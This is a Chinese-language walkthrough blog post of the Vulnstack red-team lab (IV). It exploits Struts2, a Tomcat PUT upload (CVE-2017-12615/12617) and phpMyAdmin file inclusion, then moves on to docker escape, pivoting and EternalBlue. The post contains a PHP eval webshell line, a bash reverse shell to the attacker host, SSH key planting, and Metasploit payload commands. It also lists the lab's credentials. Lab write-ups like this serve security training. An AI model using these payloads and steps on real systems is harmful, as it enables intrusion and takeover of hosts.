[渗透测试]Vulnstack 红队(四)

环境配置

网络拓扑图(仅供参考)

img

账号信息:

web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008

ip信息:

攻击机
	IP:192.168.111.5 
	OS:Kali
靶机
Web
    IP1:192.168.111.14
    IP2:192.168.52.129
    OS:Ubuntu
DC
    IP:192.168.183.0/24
    OS:Windows Server 2008
PC
    IP:192.168.52.130
    OS:Windows 7

Web服务器为Ubuntu,漏洞被封装在docker里,需要手动开启

s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

image-20220402131237112

知识点:

1.st漏洞利用               2.phpmyadmin 4.8.1文件包含  
3.tomcat getshell         4.docker逃逸 ssh 免密登录   
5.ms14-068 域提权漏洞  	  6.bash 一句话反弹shell     
7.sc 服务计划任务           8.token 降权收集信息

外网渗透

nmap扫描

nmap 192.168.111.14 -A

得到

image-20220402131624549

得到对应端口服务

22:ssh
2001:struts2
2002:Tomcat (version:8.5.19)
2003:phpmyadmin(version:4.8.1)

2001:struts2漏洞利用

直接利用工具getshell

image-20220402233902524

2002:Tomcat漏洞利用

CVE-2017-12615

Tomcat PUT上传漏洞,当 Tomcat运行在Windows或linux操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
先抓包:

image-20220402235905062

修改方法为PUT,上传冰蝎马

image-20220403000241168

冰蝎连接

image-20220403000513706

CVE-2017-12617

检索版本漏洞

searchsploit tomcat 8.5.19

image-20220403001214921

将其复制到桌面

searchsploit -m /usr/share/exploitdb/exploits/jsp/webapps/42966.py

漏洞检测

python3 42966.py -u http://192.168.111.14:2002/

image-20220403001758129

发现存在漏洞,获取shell

python3 42966.py -u http://192.168.111.14:2002/ -p pwn 

image-20220403002127220

2003:phpmyadmin漏洞利用

CVE-2018-12613

先任意文件读

index.php?target=db_sql.php?/../../../../../../../../etc/passwd

image-20220403002724244

每次登录phpmyadmin系统的时候,系统就会产生一个 sess_sessionID 文件,然后在里面执行的操作,会被记录到这个文件内(UNIX系统中存放路径为 /tmp/sess_[当前会话session值]

运行

select '<?php @eval($_GET["cmd"])?>' ;

之后利用

?target=db_sql.php%253f/../../../../../../../../tmp/sess_117093d081ee0d99edc67065a4df511c&cmd=phpinfo();

Docker逃逸

实战中我们需要判断服务器是否运行在docker中,常用的判断方法有两种:

是否存在.dockerenv文件:
docker环境下存在:ls -alh /.dockerenv 文件

查询系统进程的cgroup信息:
docker环境下 cat /proc/1/cgroup

image-20220403005843543

既然判断出是docker环境,我们就需要进行docker逃逸

特权模式—privileged+ssh 免密码 逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

挂载目录
fdisk -l	查看磁盘文件
mkdir /test	新建目录以备挂载
mount /dev/sda1 /test	将宿主机/dev/sda1 目录挂载至容器内 /test,即可写文件获取权限或数据

image-20220403094356337

查看一下是否挂载成功ls /test

image-20220403094515692

生成密钥

kali上生成密钥文件

ssh-keygen -f test

chmod 600 test  //对test赋权,只有拥有者有读写权限。

image-20220403095406225

写入密钥

image-20220403095905482

冰蝎shell不是很好操作,反弹一个shell

bash -i >& /dev/tcp/192.168.111.5/9999 0>&1

利用冰蝎上传shell.sh

chmod +x shell.sh   //添加可执行
bash shell.sh     //运行

image-20220403100931130

将 ssh秘钥 写入到.ssh目录里面并将文件命名为authorized_keys

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys 
// -avx 将权限也一起复制

echo > authorized_keys  //将内容清空

echo 'kali生成的.pub内容' > authorized_keys  //将ssh秘钥写入

image-20220403102542570

SSH登录
ssh -i test ubuntu@192.168.111.14

成功逃逸

image-20220403102716551

内网渗透

MSF上线

use exploit/multi/script/web_delivery
set target 7   						# 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.5
set lport 4444
exploit

image-20220403104210254

在目标机上运行链接获得meterpreter

image-20220403104325251

信息搜集

shell中ip a发现另一个网段

image-20220403110051975

添加路由

run autoroute -s 192.168.52.0/24
run autoroute -p

image-20220403110339938

内网扫描

注:由于我在设置为192.168.52.0/24网段时无法扫描到DC,于是将内网网段更改为192.168.183.0/24

使用ms17-010扫描一下网段

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128-130
run

image-20220403144301861

发现两台主机:

192.168.183.128 WIN7
192.168.183.130	Windows Server 2008

永恒之蓝利用

setg Proxies socks5:192.168.111.14:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.128
set lport 4444        
run

image-20220403153932089

网上师傅们都从这个点利用成功了,但我这里没有成功

敏感信息泄露

查看一下ubuntu的命令历史记录

cat .bash_history | grep 192.168.183.129

image-20220403154116505

这个地方泄露了win7的账号密码

我们挂一个socks5代理,利用wmiexec进行连接

proxychains python3 wmiexec.py 'demo.com/douser:Dotest123@192.168.183.132'

认证失败

总结

按照网上师傅的路线,后续是:

  • 内网信息搜集(降权),不是域用户没有权限执行域命令

通过token窃取实现降权或者提权

  • ms14-068进攻域控
  • 痕迹清理

这里我没有获取到WIN7的shell导致后续无法实现,但这个过程也学到了很多,之后再检查一下哪里出了问题吧。

参考文章:

http://www.yongsheng.site/2021/04/12/ATT&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E5%9B%9B%EF%BC%89/

https://blog.csdn.net/qq_36241198/article/details/121619400

https://www.erikten.cn/posts/5ac1195.html#searchModal

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值